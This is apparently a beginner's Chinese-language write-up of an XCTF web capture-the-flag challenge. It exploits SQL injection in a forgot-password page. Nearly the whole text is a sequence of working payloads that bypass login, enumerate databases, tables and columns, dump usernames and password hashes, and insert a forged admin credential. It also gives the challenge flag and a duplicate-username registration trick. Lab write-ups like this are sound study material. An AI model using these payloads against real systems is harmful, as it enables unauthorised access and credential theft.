靶场地址https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4918&page=2
根据题目了解登录或者注册存在漏洞
注册账号并且登录
反馈“普通用户登录成功,没什么用”
猜测可能需要管理员登录
经过测试忘记密码页面存在注入
输入一个不存在的用户 后面构造语句'or 1=1#
成功绕过登录
order by 尝试失败直接联合查询
3' union select 1,2,3,4#
可以看出显示点是3
查询数据库
1' union select 1,2,database(),4#
数据库查询失败,可能后台有过滤
换一种方法列出所有数据库
1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#
我们需要的库是cetc004
查表
admin123'union select 1,2,(table_name),4 from information_schema.tables where table_schema='cetc004'#
查列
1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'user'#
我们需要前两个个列就好了
admin123'union select 1,2,group_concat(username),4 from cetc004.user#
admin123'union select 1,2,group_concat(password),4 from cetc004.user#
密码是MD5密文,在线解密解不开
可以实现其他用户密码的修改。
参考:https://www.cnblogs.com/suferma/p/12852430.html
1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'#
cyberpeace{43841ae3473d48d0539debbbfce1809a}
或者可以使用重复用户名注册
c3tlwDmIn23后面加上几个空格进行注册
登录
还百度到了另一种一种poc的写法
https://blog.csdn.net/alex_bean/article/details/95305846
菜鸟上路 欢迎大佬指点